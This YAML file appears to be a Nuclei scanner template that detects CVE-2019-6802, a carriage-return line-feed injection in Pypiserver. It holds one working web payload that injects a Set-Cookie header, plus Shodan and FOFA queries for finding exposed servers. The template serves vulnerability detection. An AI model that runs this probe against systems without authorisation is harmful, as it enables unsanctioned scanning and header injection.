46 lines
1.5 KiB
YAML
46 lines
1.5 KiB
YAML
id: CVE-2019-6802
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info:
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name: Pypiserver <1.2.5 - Carriage Return Line Feed Injection
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author: 0x_Akoko
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severity: medium
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description: |
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Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.
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remediation: |
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Upgrade to Pypiserver version 1.2.5 or later.
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reference:
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- https://vuldb.com/?id.130257
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- https://github.com/pypiserver/pypiserver/issues/237
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- https://nvd.nist.gov/vuln/detail/CVE-2019-6802
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- https://github.com/ARPSyndicate/cvemon
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2019-6802
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cwe-id: CWE-74
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epss-score: 0.00113
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epss-percentile: 0.43845
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cpe: cpe:2.3:a:python:pypiserver:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: python
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product: pypiserver
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shodan-query:
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- html:"pypiserver"
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- http.html:"pypiserver"
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fofa-query: body="pypiserver"
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tags: cve,cve2019,crlf,pypiserver,python
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http:
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- method: GET
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path:
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- "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"
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matchers:
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- type: regex
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part: header
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regex:
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- "^Set-Cookie: crlfinjection=1;"
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# digest: 4a0a00473045022008c43eb00190204cfa303a012d6eff02feaae721fa026f004fa26a4c95cc9e1d022100ca298f0bdeddb2a9d1befca00c072b2a2c177fbe80ae319dd9a9960acdb8b801:922c64590222798bb761d5b6d8e72950 |